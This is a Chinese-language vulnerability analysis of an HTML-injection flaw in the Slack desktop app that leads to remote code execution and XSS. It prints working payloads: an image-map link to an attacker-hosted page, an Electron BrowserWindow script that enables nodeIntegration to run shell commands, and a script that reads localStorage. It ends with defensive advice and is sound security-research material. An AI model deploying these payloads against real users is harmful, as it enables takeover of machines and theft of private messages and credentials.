挖洞经验 | Slack桌面应用程序的RCE漏洞+XSS漏洞
字数 1119 2025-08-15 21:31:54
Slack桌面应用程序RCE与XSS漏洞分析报告
漏洞概述
Slack桌面应用程序存在HTML注入漏洞,可导致远程代码执行(RCE)和跨站脚本攻击(XSS)。攻击者可通过构造特殊的HTML注入Payload,绕过Slack的安全控制措施,在受害者机器上执行任意代码或窃取敏感信息。
漏洞利用链
攻击流程
-
攻击者准备阶段:
- 构造包含RCE payload的文件
- 准备上传到Slack服务端
-
HTML注入构造:
- 以HTML注入方式构造Slack发贴(Post)
- 将恶意发贴分享到频道或其他用户
-
受害者触发:
- 受害者点击攻击者构造的迷惑图片
- RCE payload执行,控制受害者机器
技术细节
1. JSON形式构造Slack发贴
创建Slack发贴时,会向https://files.slack.com发送JSON格式请求。通过/api/files.info路径可获取发贴文件的特定URL链接:
https://files.slack.com/files-pri/{TEAM_ID}-{FILE_ID}/TITLE
2. HTML注入Payload构造
绕过CSP限制的有效Payload:
<map name="slack-img">
<area shape="rect" coords="10000,10000 0,0"
href="https://attacker.com/t.html" target="_self">
</map>
关键点:
- 需要预先在Slack上传一张图片作为载体
- 利用
<area>标签绕过HTML过滤 target="_self"确保在当前窗口打开恶意链接
3. RCE漏洞利用代码(t.html)
<html><body><script>
// 重写函数获取BrowserWindow对象
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () => true
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank')
// 创建具有nodeIntegration权限的新窗口
nbw = new bw.constructor({
show: false,
webPreferences: {nodeIntegration: true}
})
// 加载空白页并执行任意命令
nbw.loadURL('about:blank')
nbw.webContents.executeJavaScript(
'this.require("child_process").exec("open /Applications/Calculator.app")'
)
</script></body></html>
4. 敏感数据窃取Payload
<html><body><script>
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () => true
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank')
nbw = new bw.constructor({show: false})
nbw.loadURL('https://app.slack.com/robots.txt')
nbw.webContents.executeJavaScript('alert(JSON.stringify(localStorage))')
</script></body></html>
相关XSS漏洞
Slack邮件内容无过滤存储在https://files.slack.com,可直接以text/html方式响应。攻击者可构造包含RCE Payload的邮件链接,无需托管在攻击者服务器上。
漏洞危害
RCE漏洞危害
-
敏感数据泄露:
- 获取受害者密钥、密码凭据
- 窃取内部网络架构信息
- 获取Slack私信会话和传递文件
-
系统控制:
- 执行任意系统命令
- 安装恶意软件或后门
-
传播风险:
- 可能形成"蠕虫级"攻击
- 在企业内部快速扩散
XSS漏洞危害
-
可信页面伪造:
- 构造
*.slack.com路径下的任意HTML内容 - 创建假冒登录页面进行钓鱼攻击
- 构造
-
持久化存储:
- 存储RCE漏洞利用代码
- 长期潜伏等待触发
防御建议
-
输入过滤:
- 严格过滤用户输入的HTML内容
- 禁用危险标签如
<area>、<map>
-
安全策略加强:
- 强化CSP策略
- 限制
BrowserWindow的创建和使用
-
权限控制:
- 禁用不必要的nodeIntegration权限
- 实施最小权限原则
-
内容安全:
- 对邮件内容进行HTML过滤
- 限制文件类型的上传和解析
-
监控与响应:
- 监控异常的文件上传和分享行为
- 建立快速响应机制
参考链接
原始漏洞报告:https://hackerone.com/reports/783877